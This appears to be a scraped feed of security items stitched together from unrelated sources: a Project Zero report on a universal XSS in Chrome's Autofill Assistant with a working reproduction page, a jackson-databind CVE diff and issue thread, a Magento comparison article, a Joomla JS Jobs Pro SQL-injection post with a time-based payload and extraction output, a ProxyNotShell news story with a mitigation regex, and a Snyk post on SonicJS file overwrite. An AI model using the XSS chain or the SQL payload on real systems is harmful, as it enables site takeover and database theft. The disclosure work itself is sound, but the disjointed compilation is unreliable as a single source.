Google Chrome version 103.0.5060.53 suffers from an Autofill Assistant universal cross site scripting vulnerability.

    Chrome: Universal XSS in Autofill AssistantVULNERABILITY DETAILSFrom the Autofill Assistant README file[1]:Autofill Assistant is an execution engine to run user journeys on websites given a set of actions. These actions include clicking on buttons or scrolling to an element. They also provide a way to interact with the user or get input to advance in the flow.This report describes a chain of issues in the implementation of the assistant that allows a malicious attacker to execute JavaScript code in the context of an arbitrary website.1. Launch Check BypassThere are several ways to launch a user journey i.e. to activate the assistant on a specific web page. From an attacker's point of view, the most interesting one is via Android intent:// URIs. To run the assistant, a web page simply needs to initiate navigation to a special URI. However, `ExternalNavigationHandler::handleWithAutofillAssistant()` is only meant to launch the journey if the navigation request comes from a web page in a subdomain of google.com i.e. a trusted source[2]. Unfortunately, if you look at the source code of `ExternalNavigationHandler::isGoogleReferrer()`[3], you'll notice that it actually only checks whether the main frame of the tab that's being navigated currently hosts a google.com page. This means the attacker can bypass the check by opening a google.com page first and then navigating it to the intent URI. This action doesn't violate the same-origin policy.```w = open(\"https://google.com/\");setTimeout(() => w.location = \"intent://...\", 1000);```Another way to bypass the check is by putting a regular https:// link somewhere on google.com to the attacker-controlled website and configuring the attacker's web server to reply with an HTTP redirect to the intent:// URI.It's not clear whether the intended (rather than actual) checks are still too coarse-grained. Can an intent link be hosted on a user-controlled page in a subdomain of google.com, for example, via Google Sites? Can a third-party Android app launch the intent directly?2. Parameter ManipulationAutofill Assistant intent URIs include the address of the target web page, as well as script parameters, which the attacker can arbitrarily modify. Some of the parameters, like `DISABLE_RPC_SIGNING`[4] or `PASSWORD_CHANGE_USERNAME`, seem to have security impact. Also, the `DETAILS_*` parameter group allows the attacker to show a partially-controlled native-looking user interface on top of websites that have associated user journeys.If, at the moment, only Google is allowed to create these URIs, could signature checking be added to prevent arbitrary manipulation of the script parameters?3. Trigger Script InjectionThe most promising parameter is called `TRIGGER_SCRIPTS_BASE64`. It lets the attacker overwrite the backend's trigger script response[5]. Trigger scripts are lightweight scripts that may launch the regular journey flow once a certain set of conditions is met on the page. In addition, they can show a basic provisional user interface.Since the trigger condition definition language is powerful enough, for example, to perform a regex match on a specific property of a specific page element, and certain trigger actions, like loading a picture from an external server, may be visible to the attacker, a custom trigger script may be used to exfiltrate data from a web page character by character.A trigger script response can be overridden for any website, not just the ones that are currently supported by Autofill Assistant. Also, a user is shown a consent dialog when they attempt to use the assistant for the first time, but trigger scripts are executed without any user interaction.4. JavaScript Injection Via Property Filter`JsFilterBuilder` translates trigger conditions defined by a script into JavaScript code, which is then executed in the context of the target web page. The builder properly encodes all of its inputs, using functions like `AddArgument`[6] and making sure it's impossible to corrupt the generated function and execute arbitrary code, with one unfortunate exception:```message PropertyFilter {  // The property to filter against.  optional string property = 1;  oneof value {    TextFilter text_filter = 2;    AutofillValueRegexp autofill_value_regexp = 3;  }}```The code that translates `PropertyFilter` simply concatenates the property name parameter, skipping the encoding[7]:```bool JsFilterBuilder::AddFilter(const SelectorProto::Filter& filter) {[...]    case SelectorProto::Filter::kProperty:      AddRegexpFilter(filter.property().text_filter(),                      filter.property().property());[...]}void JsFilterBuilder::AddRegexpFilter(const TextFilter& filter,                                      const std::string& property) {  std::string re_var = AddRegexpInstance(filter);  AddLine({\"elements = elements.filter((e) => \", re_var, \".test(e.\", property,           \"));\"});}```As a result, the attacker can run arbitrary JavaScript with a trigger script like the following:```trigger_scripts {  trigger_condition {    selector {      filters { css_selector: \"*\" }      filters {        property {          property: \"a+alert(location)\"          text_filter {            re2: \"\"          }        }      }    }  }}```which gets translated into:```elements = elements.filter((e) => v1.test(e.a + alert(location)));```[1] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/[2] https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/externalnav/ExternalNavigationDelegateImpl.java;drc=4c4e66a10a1895d8be8b8978f938eb698ff93492;l=323[3] https://source.chromium.org/chromium/chromium/src/+/main:components/external_intents/android/java/src/org/chromium/components/external_intents/ExternalNavigationHandler.java;drc=4c4e66a10a1895d8be8b8978f938eb698ff93492;l=2098[4] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/browser/script_parameters.cc;drc=4c5a895bed6c12687227f92c8d66dfb0bfb03225;l=111[5] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/browser/service.proto;drc=39e992a5452136dd9944c9c957245e3f88885e71;l=783[6] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/browser/web/js_filter_builder.cc;drc=9e3fd1a0c143cf14101c1abcb4c98345bcaf9890;l=197[7] https://source.chromium.org/chromium/chromium/src/+/main:components/autofill_assistant/browser/web/js_filter_builder.cc;drc=9e3fd1a0c143cf14101c1abcb4c98345bcaf9890;l=189VERSIONGoogle Chrome 103.0.5060.53 (Official Build)REPRODUCTION CASE```<body><h1>Click me</h1><script>NS = \".org.chromium.chrome.browser.autofill_assistant.\";TARGET_URL = \"https://google.com/\";onclick = () => {  w = open(\"https://google.com/\");  setTimeout(() => {  w.location = `intent://a/#Intent;    scheme=http;    S.browser_fallback_url=${escape(TARGET_URL)};    B${NS}ENABLED=true;    B${NS}START_IMMEDIATELY=false;    S${NS}TRIGGER_SCRIPTS_BASE64=CiQKIkIgSgMSASpKGXIXChFhK2FsZXJ0KGxvY2F0aW9uKRICCgA=;    end`.replace(/\\s/g, \"\");  }, 1000);}</script></body>```CREDIT INFORMATIONSergei Glazunov of Google Project ZeroThis bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-09-22.Please note that, according to our disclosure policy, if Project Zero discovers a variant of a previously reported Project Zero bug, technical details of the variant will be added to the existing Project Zero report (which may be already public) and the report will not receive a new deadline. For more details, see https://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html.Found by: glazunov@google.com

Google Chrome 103.0.5060.53 Autofill Assistant Universal Cross Site Scripting

In FasterXML jackson-databind before 2.14.0-rc1, resource exhaustion can occur because of a lack of a check in primitive value deserializers to avoid deep wrapper array nesting, when the UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled.

@@ -357,12 +357,8 @@ protected T \_deserializeWrappedValue(JsonParser p, DeserializationContext ctxt) // 23-Mar-2017, tatu: Let's specifically block recursive resolution to avoid // either supporting nested arrays, or to cause infinite looping. if (p.hasToken(JsonToken.START\_ARRAY)) { String msg = String.format( "Cannot deserialize instance of %s out of %s token: nested Arrays not allowed with %s", ClassUtil.nameOf(\_valueClass), JsonToken.START\_ARRAY, "DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS"); @SuppressWarnings("unchecked") T result = (T) ctxt.handleUnexpectedToken(getValueType(ctxt), p.currentToken(), p, msg); T result = (T) handleNestedArrayForSingle(p, ctxt); return result; } return (T) deserialize(p, ctxt); @@ -413,7 +409,9 @@ protected final boolean \_parseBooleanPrimitive(JsonParser p, DeserializationCont case JsonTokenId.ID\_START\_ARRAY: // 12-Jun-2020, tatu: For some reason calling \`\_deserializeFromArray()\` won't work so: if (ctxt.isEnabled(DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS)) { p.nextToken(); if (p.nextToken() == JsonToken.START\_ARRAY) { return (boolean) handleNestedArrayForSingle(p, ctxt); } final boolean parsed = \_parseBooleanPrimitive(p, ctxt); \_verifyEndArrayForSingle(p, ctxt); return parsed; @@ -582,7 +580,9 @@ protected final byte \_parseBytePrimitive(JsonParser p, DeserializationContext ct case JsonTokenId.ID\_START\_ARRAY: // unwrapping / from-empty-array coercion? // 12-Jun-2020, tatu: For some reason calling \`\_deserializeFromArray()\` won't work so: if (ctxt.isEnabled(DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS)) { p.nextToken(); if (p.nextToken() == JsonToken.START\_ARRAY) { return (byte) handleNestedArrayForSingle(p, ctxt); } final byte parsed = \_parseBytePrimitive(p, ctxt); \_verifyEndArrayForSingle(p, ctxt); return parsed; @@ -652,7 +652,9 @@ protected final short \_parseShortPrimitive(JsonParser p, DeserializationContext case JsonTokenId.ID\_START\_ARRAY: // 12-Jun-2020, tatu: For some reason calling \`\_deserializeFromArray()\` won't work so: if (ctxt.isEnabled(DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS)) { p.nextToken(); if (p.nextToken() == JsonToken.START\_ARRAY) { return (short) handleNestedArrayForSingle(p, ctxt); } final short parsed = \_parseShortPrimitive(p, ctxt); \_verifyEndArrayForSingle(p, ctxt); return parsed; @@ -719,7 +721,9 @@ protected final int \_parseIntPrimitive(JsonParser p, DeserializationContext ctxt break; case JsonTokenId.ID\_START\_ARRAY: if (ctxt.isEnabled(DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS)) { p.nextToken(); if (p.nextToken() == JsonToken.START\_ARRAY) { return (int) handleNestedArrayForSingle(p, ctxt); } final int parsed = \_parseIntPrimitive(p, ctxt); \_verifyEndArrayForSingle(p, ctxt); return parsed; @@ -870,7 +874,9 @@ protected final long \_parseLongPrimitive(JsonParser p, DeserializationContext ct break; case JsonTokenId.ID\_START\_ARRAY: if (ctxt.isEnabled(DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS)) { p.nextToken(); if (p.nextToken() == JsonToken.START\_ARRAY) { return (long) handleNestedArrayForSingle(p, ctxt); } final long parsed = \_parseLongPrimitive(p, ctxt); \_verifyEndArrayForSingle(p, ctxt); return parsed; @@ -1003,7 +1009,9 @@ protected final float \_parseFloatPrimitive(JsonParser p, DeserializationContext break; case JsonTokenId.ID\_START\_ARRAY: if (ctxt.isEnabled(DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS)) { p.nextToken(); if (p.nextToken() == JsonToken.START\_ARRAY) { return (float) handleNestedArrayForSingle(p, ctxt); } final float parsed = \_parseFloatPrimitive(p, ctxt); \_verifyEndArrayForSingle(p, ctxt); return parsed; @@ -1132,7 +1140,9 @@ protected final double \_parseDoublePrimitive(JsonParser p, DeserializationContex break; case JsonTokenId.ID\_START\_ARRAY: if (ctxt.isEnabled(DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS)) { p.nextToken(); if (p.nextToken() == JsonToken.START\_ARRAY) { return (double) handleNestedArrayForSingle(p, ctxt); } final double parsed = \_parseDoublePrimitive(p, ctxt); \_verifyEndArrayForSingle(p, ctxt); return parsed; @@ -1313,6 +1323,9 @@ protected java.util.Date \_parseDateFromArray(JsonParser p, DeserializationContex default: } } else if (unwrap) { if (t == JsonToken.START\_ARRAY) { return (java.util.Date) handleNestedArrayForSingle(p, ctxt); } final Date parsed = \_parseDate(p, ctxt); \_verifyEndArrayForSingle(p, ctxt); return parsed; @@ -2109,6 +2122,21 @@ protected void handleMissingEndArrayForSingle(JsonParser p, DeserializationConte // but for now just fall through }  
/\*\* \* Helper method called when detecting a deep(er) nesting of Arrays when trying \* to unwrap value for {@code DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS}. \* \* @since 2.14 \*/ protected Object handleNestedArrayForSingle(JsonParser p, DeserializationContext ctxt) throws IOException { String msg = String.format( "Cannot deserialize instance of %s out of %s token: nested Arrays not allowed with %s", ClassUtil.nameOf(\_valueClass), JsonToken.START\_ARRAY, "DeserializationFeature.UNWRAP\_SINGLE\_VALUE\_ARRAYS"); return ctxt.handleUnexpectedToken(getValueType(ctxt), p.currentToken(), p, msg); }  
protected void \_verifyEndArrayForSingle(JsonParser p, DeserializationContext ctxt) throws IOException { JsonToken t = p.nextToken();

CVE-2022-42003: Fix #3590 · FasterXML/jackson-databind@d78d00e

In FasterXML jackson-databind before 2.13.4, resource exhaustion can occur because of a lack of a check in BeanDeserializer._deserializeFromArray to prevent use of deeply nested arrays. An application is vulnerable only with certain customized choices for deserialization.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Labels

2.14

Issues possibly planned for 2.14

has-failing-test

Indicates that there exists a test case (under \`failing/\`) to reproduce the issue

**Comments**

(note: found by oss-fuzz, see: https://bugs.chromium.org/p/oss-fuzz/issues)

Currently feature DeserializationFeature.UNWRAP_SINGLE_VALUE_ARRAYS is supported by most types, and deserializers tend to implement support using recursion, effectively allowing multiple nested layers of JSON Arrays to be unwrapped.  
This is not a feature to support but just an implementation detail; ideally we should only allow a single JSON Array to wrap a value.

I think I have removed ability for deeper nesting from some other types so there may be some prior art.

 cowtowncoder added to-evaluate

Issue that has been received but not yet evaluated

2.14

Issues possibly planned for 2.14

and removed to-evaluate

Issue that has been received but not yet evaluated

labels

Aug 24, 2022

 cowtowncoder changed the title Add check in BeanDeserializer._deserializeFromArray() to try to prevent use of deeply nested arrays Add check in BeanDeserializer._deserializeFromArray() to prevent use of deeply nested arrays

Aug 24, 2022

Hello dear @cowtowncoder,

I am Henry from Code Intelligence. First of all thank you for your quick fixes of this issue!

https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50490

Is this issue regarded as a security issue? If yes, we are thinking about applying CVE for it, so the community knows about it and will update to the latest version of jackson-databind.

Thank you for your fixes and support for OSS-Fuzz!

Best regards,  
Henry

@henryrneh I think it is reasonable to file a CVE for this, although one caveat is that it is only applicable if users enable specific DeserializationFeature and not with vanilla (default) setting of ObjectMapper. So that should probably at least be reflect in applicability -- I do not have any statistics of how common enabling this feature is but it probably is minority of usage.

@cowtowncoder thanks for your reply and info! We will communicate the information and handle the application to Google. Many thanks!

I already canceled the application. We will do our best to try not to apply CVEs for fuzz targets written by AdaLogics, however we will need some assitance or notification by you to know who wrote which fuzz target, because OSS-Fuzz is not designed to support this, maybe you can use some special prefix in the fuzz target name so it's more obvious for us so we can filter it out?

> We will do our best to try not to apply CVEs for fuzz targets written by AdaLogics

Great, thanks!

> we will need some assitance or notification by you to know who wrote which fuzz target

Do the links I provided above suffice?

Thank you that works! In the future when AdaLogics add a new fuzz target please let us know or add some prefix to the name, so this will not happen again

> Thank you that works! In the future when AdaLogics add a new fuzz target please let us know or add some prefix to the name, so this will not happen again

sounds good -- I'll also send over an email after the assessment so you can see details about the findings we got using Jazzer

Labels

2.14

Issues possibly planned for 2.14

has-failing-test

Indicates that there exists a test case (under \`failing/\`) to reproduce the issue

CVE-2022-42004: Add check in `BeanDeserializer._deserializeFromArray()` to prevent use of deeply nested arrays · Issue #3582 · FasterXML/jackson-databind

By Owais Sultan
Over the last decade, a couple of aspects have changed within the tech world and Magento is no…
This is a post from HackRead.com Read the original post: Magento 1 vs Magento 2

Over the last decade, a couple of aspects have changed within the tech world and **Magento** is no exception. Although Magento has gained a loyal customer base with its first product it was not without its problems. Magento 2 was released to resolve some of these issues however, it received mixed reviews.

Magento has launched the **latest Magento version** which is an upgrade from Magento 1. In this article, we will go over the specific comparison of Magento 1 against Magento 2.

**Magento 1 vs Magento 2**

The primary distinction that exists between Magento 1 and Magento 2 is that Magento 2 is faster, SEO-friendly, and more user-friendly in comparison to Magento 1. 

Magento 2 supports the latest PHP and improves performance overall on the website. It will process more orders in an hour and pages load quicker that Magento 1. 

Along with cleaner code and an easy-to-use dashboard, Magento 2 includes meta tags for **improved SEO**. They were absent in Magento 1.

Before we dig into details, let’s do a quick comparison:

**Magento 1**

**Magento 2**

Apache 2.x

Apache 2.2 / 2.4

Nginx 1.7 or more

PHP 5.2.x — 5.5.x

PHP 5.6.x 7.0.2 / 7.0.2 / 7.0.6

MySQL

MySQL Percona / MySQL MySQL Percona 5.6.x or greater

Varnish 3.x or 4.x

Redis 2.x / 3.x or Memcached 1.4.x

Solr (Only for EE)

Solr 4.x

HTML

HTML5

JQuery (In the most current themes)

JQuery

RequireJS/ Knockout.js

Zend Framework 1

Zend Framework 1 / 2

Symfony

Composer

PSR – 0/1 2 / 3 4

Now let’s discuss the difference in various factors.

**Architecture**

The major problem that Magento 1 has is Magento 1 is the store performance, which has been substantially enhanced with Magento 2.

Magento team has transformed the stack dramatically by adding diverse new technologies, including Apache, Composer, Symfony, and Nginx 1.7 or higher. The main differences in Architecture are:

*   Advanced browser caching for static content.  
    
*   The reduction in the number of unnecessary browser operations on the client’s part because of bundled and reduced JavaScript.  
    
*   Magento 2 supports the most current PHP versions. These versions have security enhancements that impact the speed of the store.

Magento 2 supports the Zend Framework 1 and 2 (instead of just Zend Framework 1 for Magento 1). Magento 2 is also now compatible with **MySQL Percona 5.6** and greater.

Magento 2 has also added new technologies that aren’t accessible in Magento 1. This includes the following:

**NGINX:** Open-source Web server which functions as a reverse proxy and HTTP cache and load-balancer.

**Varnish:** It is a cost-effective alternative for web acceleration that could improve the speed of your Magento 2 website.

**Composer:** The tool used for managing dependency in PHP that allows users to use third-party libraries, without having to bundle them with source code. It can also help reduce conflicts with extensions.

**Symfony:** Symfony is a PHP Web application framework that helps you to manage the contents, functionality, as well as design of your web store.

**Redis:** A free source storage of data structures in memory that serves as a cache for databases or broker of messages.

**Speed**: Magento 2 offers a faster page loading speed when compared with Magento 1.

Due to the full-page caching feature, Magento offers both Community and Enterprise Edition.

**A few stats from Magento 2 compared to Magento 1.**:

*   Processing 39 percent more orders in an hour  
    
*   Up to 51% speedier end-to-end checkout times  
    
*   Rapid server response time for catalog browsing  
    
*   You can enjoy the possibility of up to 66% speedier time for add-to-cart server responses

Magento 1 has an average speed of loading pages that exceeds two seconds. This is a concern due to studies have revealed that sales conversions decrease dramatically for each second of load time. According to this Google Webmaster **video**, 2 seconds is the minimum requirement for eCommerce websites’ acceptance.

Magento 2 is faster all across frontend performance. It has page loading speeds that are about 50 percent faster for the homepage and pages for products.

**Payment gateway**

The ability to let your customers pay using the payment method that is the most familiar to them will help in creating trust and increasing the conversion rate of your online business.

In Magento 1, the eCommerce software merchants can connect most of the most popular payment gateways to be used on their Magento website. This usually involves integration with a third party or developing work on a custom basis.

Contrary to Magento 1, Magento 2 now supports the most widely used payment gateways in a seamless manner, without the need for additional integrations. Accepted gateways are PayPal, Braintree, and Authorize.net.

**Extensions**

There are a lot of third extension extensions that are available on the marketplace for Magento 1.

The issue in Magento 1 was the extension conflicts. More than one extension attempts to modify the functionality. This problem could only be addressed manually in the past it became a costly and time-consuming procedure.

But Magento 2 allows code to overlay with the core code, but not override it.

Making changes and installing new extensions is now more convenient and easy on the pocket.

The procedure of installing extensions and modifying functions is much more natural as a result of the latest technologies (HTML5, CSS3, Require.js) implemented within Magento 2.

**Customer support**

Sometimes, you need assistance to make your store work exactly how you want it to. What version of there is one that will give you that assistance?

In Magento 1, as the product is now sunset it is no longer receiving updates or patches from Magento to run your store. It’s your own, on your own, in a lifeboat drifting in the sea.

When using Magento 2, the level of support for customers varies based on the version you’re working with. In our introduction, Magento 2 covers both Magento Open Source, Magento Enterprise Edition as well as Enterprise Cloud Edition. Only the last two choices offer support, but they are expensive cost. Magento Open Source is free to download but doesn’t come with customer service.

**Dashboard**

The admin panel of Magento 2 is user-friendly and interactive.

It makes it easy to find information quickly, allows access to all areas in the administration panel, and helps you manage your store more effectively.

Magento 2 offers a full dashboard that displays the lifetime sales, the average orders, last orders, the top keywords including revenue tax, as well as numerous other features.

However, Magento 1 has a messy design.

**Organic online presence and SEO**

Magento 2 has not made an impressive leap over Magento 1 in terms of SEO. However, it’s far superior to Magento 1.

Some important Magento characteristics that Magento 1 isn’t able to provide:

*   **Mobile-Friendly:** Magento 2 is extremely optimized for Mobiles. It’s also an important ranking factor.  
    
*   **Duplicate content:** Magento 2 provides a Canonical tag, which means that there’s no way to a problem with duplicate content.  
    
*   **Meta Title Meta Description, Meta Keywords:** Magento 2.2.0 allows meta tags to be used on individual pages.

**Security**

Magento has boosted the algorithms for hashing (SHA-256) that are used for password management. Magento now is able to support Argon2ID13 via the PHP sodium extension, which requires libraries **libsodium** version 1.0.13 or greater.

The password should not be your main concern if you’re working with Magento 1. The real threat is that Magento is removing support in June 2020.

There are no security patches, updates, or issues that are resolved for Magento any longer.

Open Source Platform with no support for the platform makes it vulnerable.

**Pricing**

Even though the community versions of Magento can be downloaded for free.

However, there’s a slight difference in the price of the Enterprise Edition of Magento 1 and Magento 2.

*   **Magento EE license cost:** starts at $18,000 annually  
    
*   **Price for Magento 2. EE:** starting at $22,000 annually

The version for the community of Magento 2 is free.

Magento 2 Enterprise Solutions Edition price begins with $22,000.00 annually for businesses with lower than one million dollars in revenue and pricing tiers go up based upon the amount of revenue.

**Why should you migrate from Magento 1 to Magento 2?**

In the near future, Magento 1 support will end.

If you don’t have plans to move from Magento 2, create one.

For support, improved user interface, sleek dashboard, speedy loading, and overall improved platform that your website deserves.

Follow these steps to **migrate the website from Magento 1 to Magento 2** with ease.

**Why aren’t users migrating from Magento 2?**

Magento 2 has many more functions however, many people aren’t making the switch. Many stores are still using Magento 1 despite the End of Life.

**The reasons are:**

*   **The Fear of Change:** The transition to a new system always causes anxiety. It is difficult to step out of their comfort zone. However, sooner or later, you will have to make the decision.  
    
*   **Customer Satisfaction:** Magento 1 customers are satisfied with M1. They don’t have a reason to move their stores elsewhere.  
    
*   **Magento 2 extensions:** M2 offers numerous functions, however, it’s not yet fully developed. M1 includes a wealth of extensions, and tools as well as helping communities across the internet.  
    
*   **Extremely expensive migration:** The process of moving between Magento 1 to Magento 2 is not an easy upgrade. It’s a totally different platform that has its advantages and disadvantages, as well as an extensive learning curve. It requires a lot of time and a substantial budget.

**Conclusion**

Magento 2 is better than Magento 1 on every scale. However, there are many guides as well as resources and communities centered around Magento 1. Since Magento 1 is present for several years, it has plenty of space that the platform.

Hiring a professional **Magento development** firm would be a good idea if you are planning to migrate to Magento 2. With time, Magento 2 will garner the same or even more of the internet.

Magento 1 vs Magento 2

Joomla JS Jobs Pro extension version 1.3.6 suffers from a remote SQL injection vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : extensions.joomla.org                                                      ││  Vendor   : Joom Sky - joomsky.com                                                     ││  Software : JS Jobs Pro 1.3.6 JobPortal for Joomla                                     ││  Vuln Type: SQL Injection                                                              ││  Method   : POST                                                                       ││  Impact   : Database Access                                                            ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Typically used for remotely exploitable vulnerabilities that can lead to              ││  system compromise                                                                     ││                                                                                        ││                                                                                        ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /js-jobs/jm/pro/index.php/employer-control-panel/resume-search-resultsPOST parameter 'nationality' is vulnerable---Parameter: nationality (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 time-based blind - Parameter replace    Payload: title=&name=&nationality=(CASE WHEN (5462=5462) THEN SLEEP(5) ELSE 5462 END)&gender=&jobcategory=&jobsubcategory=&jobtype=&currency=&jobsalaryrange=&heighestfinisheducation=&experiencemin=&experiencemax=&keywords=&submit_app=Resume Search&isresumesearch=1&view=resume&layout=resume_searchresults&uid=0&option=com_jsjobs&task11=view---[+] Starting the Attack[INFO] the back-end DBMS is MySQLweb application technology: LiteSpeedback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)[INFO] fetching current databasecurrent database: 'demjomsk_jmjsjobs'[-] Done

Joomla JS Jobs Pro 1.3.6 SQL Injection

Microsoft on Friday disclosed that a single activity group in August 2022 achieved initial access and breached Exchange servers by chaining the two newly disclosed zero-day flaws in a limited set of attacks aimed at less than 10 organizations globally.
"These attacks installed the Chopper web shell to facilitate hands-on-keyboard access, which the attackers used to perform Active Directory

Microsoft on Friday disclosed that a single activity group in August 2022 achieved initial access and breached Exchange servers by chaining the two newly disclosed zero-day flaws in a limited set of attacks aimed at less than 10 organizations globally.

"These attacks installed the Chopper web shell to facilitate hands-on-keyboard access, which the attackers used to perform Active Directory reconnaissance and data exfiltration," the Microsoft Threat Intelligence Center (MSTIC) said in a Friday report.

The weaponization of the vulnerabilities is expected to ramp up in the coming days, Microsoft further warned, as malicious actors co-opt the exploits into their toolkits, including deploying ransomware, due to the "highly privileged access Exchange systems confer onto an attacker."

The tech giant attributed the ongoing attacks with medium confidence to a state-sponsored organization, adding it was already investigating these attacks when the Zero Day Initiative disclosed the flaws to Microsoft Security Response Center (MSRC) earlier this month on September 8-9, 2022.

The two vulnerabilities have been collectively dubbed **ProxyNotShell**, owing to the fact that "it is the same path and SSRF/RCE pair" as ProxyShell but with authentication, suggesting an incomplete patch.

The issues, which are strung together to achieve remote code execution, are listed below -

*   **CVE-2022-41040** - Microsoft Exchange Server Server-Side Request Forgery Vulnerability
*   **CVE-2022-41082** - Microsoft Exchange Server Remote Code Execution Vulnerability

"While these vulnerabilities require authentication, the authentication needed for exploitation can be that of a standard user," Microsoft said. "Standard user credentials can be acquired via many different attacks, such as password spray or purchase via the cybercriminal economy."

The vulnerabilities were first discovered by Vietnamese cybersecurity company GTSC as part of its incident response efforts for a customer in August 2022. A Chinese threat actor is suspected to be behind the intrusions.

The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added the two Microsoft Exchange Server zero-day vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, requiring federal agencies to apply the patches by October 21, 2022.

Microsoft said that it's working on an "accelerated timeline" to release a fix for the shortcomings. It has also published a script for the following URL Rewrite mitigation steps that it said is "successful in breaking current attack chains" -

*   Open IIS Manager
*   Select Default Web Site
*   In the Feature View, click URL Rewrite
*   In the Actions pane on the right-hand side, click Add Rule(s)…
*   Select Request Blocking and click OK
*   Add the string ".\*autodiscover\\.json.\*\\@.\*Powershell.\*" (excluding quotes)
*   Select Regular Expression under Using
*   Select Abort Request under How to block and then click OK
*   Expand the rule and select the rule with the pattern .\*autodiscover\\.json.\*\\@.\*Powershell.\* and click Edit under Conditions.
*   Change the Condition input from {URL} to {REQUEST\_URI}

As additional prevention measures, the company is urging companies to enforce multi-factor authentication (MFA), disable legacy authentication, and educate users about not accepting unexpected two-factor authentication (2FA) prompts.

"Microsoft Exchange is a juicy target for threat actors to exploit for two primary reasons," Travis Smith, vice president of malware threat research at Qualys, told The Hacker News.

"First, Exchange \[...\] being directly connected to the internet creates an attack surface which is accessible from anywhere in the world, drastically increasing its risk of being attacked. Secondly, Exchange is a mission critical function -- organizations can't just unplug or turn off email without severely impacting their business in a negative way."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

State-Sponsored Hackers Likely Exploited MS Exchange 0-Days Against ~10 Organizations

SonicJS through 0.6.0 allows file overwrite. It has the following mutations that are used for updating files: fileCreate and fileUpdate. Both of these mutations can be called without any authentication to overwrite any files on a SonicJS application, leading to Arbitrary File Write and Delete.

GraphQL is an API query language developed by Facebook in 2015. Since then, its unique features and capabilities have made it a viable alternative to REST APIs. When it comes to security, GraphQL servers can house several types of misconfigurations that result in data compromise, access control issues, and other high risk vulnerabilities.

While security issues with GraphQL are widely known, there’s little information on finding them  outside of using dynamic analysis. In this post, we’ll discuss how common GraphQL vulnerabilities present in a codebase, as well as and how to find them using static analysis tools and GraphQL Security. Since many widely used GraphQL frameworks exist within npm, we’ll focus on examples from the NodeJS ecosystem. 

**Taint analysis through GraphQL frameworks**

SQL injection and deserialization vulnerabilities have been reported in numerous studies on GraphQL endpoints. An example of this can be seen in HackerOne’s report where a SQL Injection is present through a GraphQL parameter. 

Like REST API parameters, GraphQL arguments are a source of taint where user input can be introduced to an application. Static analysis tools should be able to identify and model these parameters accurately in an application. 

In GraphQL frameworks, resolvers map between schema, function, and arguments before being passed through to resolver functions. The following example depicts the **args** argument as an object that contains all GraphQL arguments that were provided for the field by the GraphQL operation.

    const resolvers = {
      Query: {
        user(parent, args, context, info) {
          return runFunction(args.parameter);
        }
      }
    }

These args expressions can be traced by the Snyk Code engine, which leverages points-to analysis and typestate analysis to accurately record program execution. The Snyk Code analysis of SonicJS, a modern open source NodeJs based content management system, is a helpful example. 

SonicJS helps users conduct CMS operations through their GraphQL endpoint. One such operation is the fileUpdate mutation operation which allows a user to update their files.

        fileUpdate: {
          type: FileType,
          args: {
            filePath: { type: new GraphQLNonNull(GraphQLString) },
            fileContent: { type: new GraphQLNonNull(GraphQLString) },
            sessionID: { type: GraphQLString },
          },
          resolve(parent, args) {
            fileService.writeFile(args.filePath, args.fileContent);
            let fileData = new FileData(args.filePath, args.fileContent);
            return fileData;
          },

(source code)

This mutation query takes user-provided input calledargs.filePathand args.fileContent and this is then provided to the writeFile function of the fileService object. The function implementation of the fileService object exists in server/services/file.service.jsand can be seen below.

        writeFile: async function (filePath, fileContent) {
          Let fullPath = path.join(this.getRootAppPath(), filePath);
          Await fsPromise.writeFile(fullPath, fileContent);
        },

(source code)

